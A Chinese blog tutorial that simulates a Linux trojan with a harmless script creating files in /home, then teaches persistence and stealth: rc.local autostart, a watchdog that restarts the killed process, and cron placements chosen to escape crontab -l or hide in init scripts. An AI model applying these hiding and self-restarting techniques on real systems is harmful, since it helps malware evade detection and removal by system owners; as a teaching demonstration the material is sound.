• linux下模拟一个木马程序运行过程


    预备知识:

    将一个程序放入到后台,悄悄的执行
      ./xxx.sh &

    进程:
      用户进程:由用户来管理
      系统进程:由系统内核自行管理

    系统中的每个进程,都有一个位置的ID,这就是pid,而且每次启动进程以后,PID都不相同


    进程相关的命令
      jobs
        作用:查看当前运行在后台的进程有哪些
        信息
          第一列:进程编号
          第二列:进程状态
          第三列:进程是如何发起的

      fg   进程编号    把进程从后台调到前台执行
      kill %进程编号  杀死进程

      ps aux   打印系统所有进程

     num=`ps aux | grep myser |wc -l`   #执行grep myser本身就会创建一个进程,如果有myser这个进程则num为2,如果没有myser这个进程,则num为1,

    kill作用杀死进程
      格式:kill 信号级别 进程PID

      信号级别
        -9:斩立决。立刻杀死进程
        -15:死缓。等待现有的客户端处理完毕之后,立刻杀死进程
            【等待期间新的用户请求无法被接入】

    木马最终效果
      让程序自动运行,而且是开机自动运行起来
      程序还可以自我保护
      防止程序文件被删除

    实现步骤
    1. 开发一个伪木马myser,位置:可以随便放,这里为了方便放在/下,实际使用时是放在非常隐蔽的目录下
    #!/bin/bash
    while true
    do
      touch /home/`date +%T`.txt    #在/home/下每隔一秒就创建一个文件,文件名为 创建时间.txt
      sleep 1
    done

    创建完后赋权限        chmod +x myser

    试运行      ./myser      ctrl+c停止  cd到/home/目录下查看

     

    2. 将这个木马设置为开机自动启动
    在/etc/rc.local中写入
    /bin/bash /myser &

    3. 开发一个检查木马进程是否正在运行的程序,check.sh ,位置:可以随便放,这里为了方便放在/下,实际使用时是放在非常隐蔽的目录下
    #!/bin/bash
    num=`ps aux | grep myser |wc -l`   #执行grep myser本身就会创建一个进程,如果有myser这个进程则num为2,如果没有myser这个进程,则num为1(),

    if [ $num -eq 1 ];then     #num为1则表示木马进程已被杀死,需重新启动木马
      /bin/bash /myser &   # &表示后台启动,不再屏幕上出现信息
    fi

    创建完后赋权限        chmod +x check.sh

    4.将check.sh写进或放进计划任务中 

      思路1:

        写进计划任务中  但这样很容易用crontab -l 查看发现

          crontab -e     #创建计划任务

          

          每分钟执行一次

          *  *  *  *  *    # 分 时 日 月 周

          crontab -l    #查看当前创建了哪些计划任务

          

      思路2:
        将check.sh放在/etc/cron.d/cron.hourly  
        这个目录下的程序会每隔1h自动执行一次
      思路3:
        执行check.sh的计划任务写在/etc/crontab   #这个目录下的crontab中的任务计划不会出现在crontab -l中
        */5 * * * * /bin/bash /etc/check.sh
      思路4:
        在/etc/init.d下随便找个程序,将执行check的命令写进去

    5.重启验证效果---------------reboot关机

      开机后在/home/下发现一堆文件

      

      脚本正在运行

      

      杀死进程

      

      过一分钟后再次查看,发现进程已重启,注意看PID是不一样的,表示进程是重新启动过的

      

      自此完成

  • 相关阅读:
    BFGS(1)
    局部加权之线性回归(1)
    遗传算法(1)
    Python扩展(Cython混编)
    梯度下降算法(1)
    Python矩阵作图库matplotlib的初级使用
    搭建FTP服务器与客户端(1)
    maven常见小问题整理
    git常用命令问题整理
    maven常用命令整理
  • 原文地址:https://www.cnblogs.com/bfcs/p/10716690.html
Copyright © 2020-2023  润新知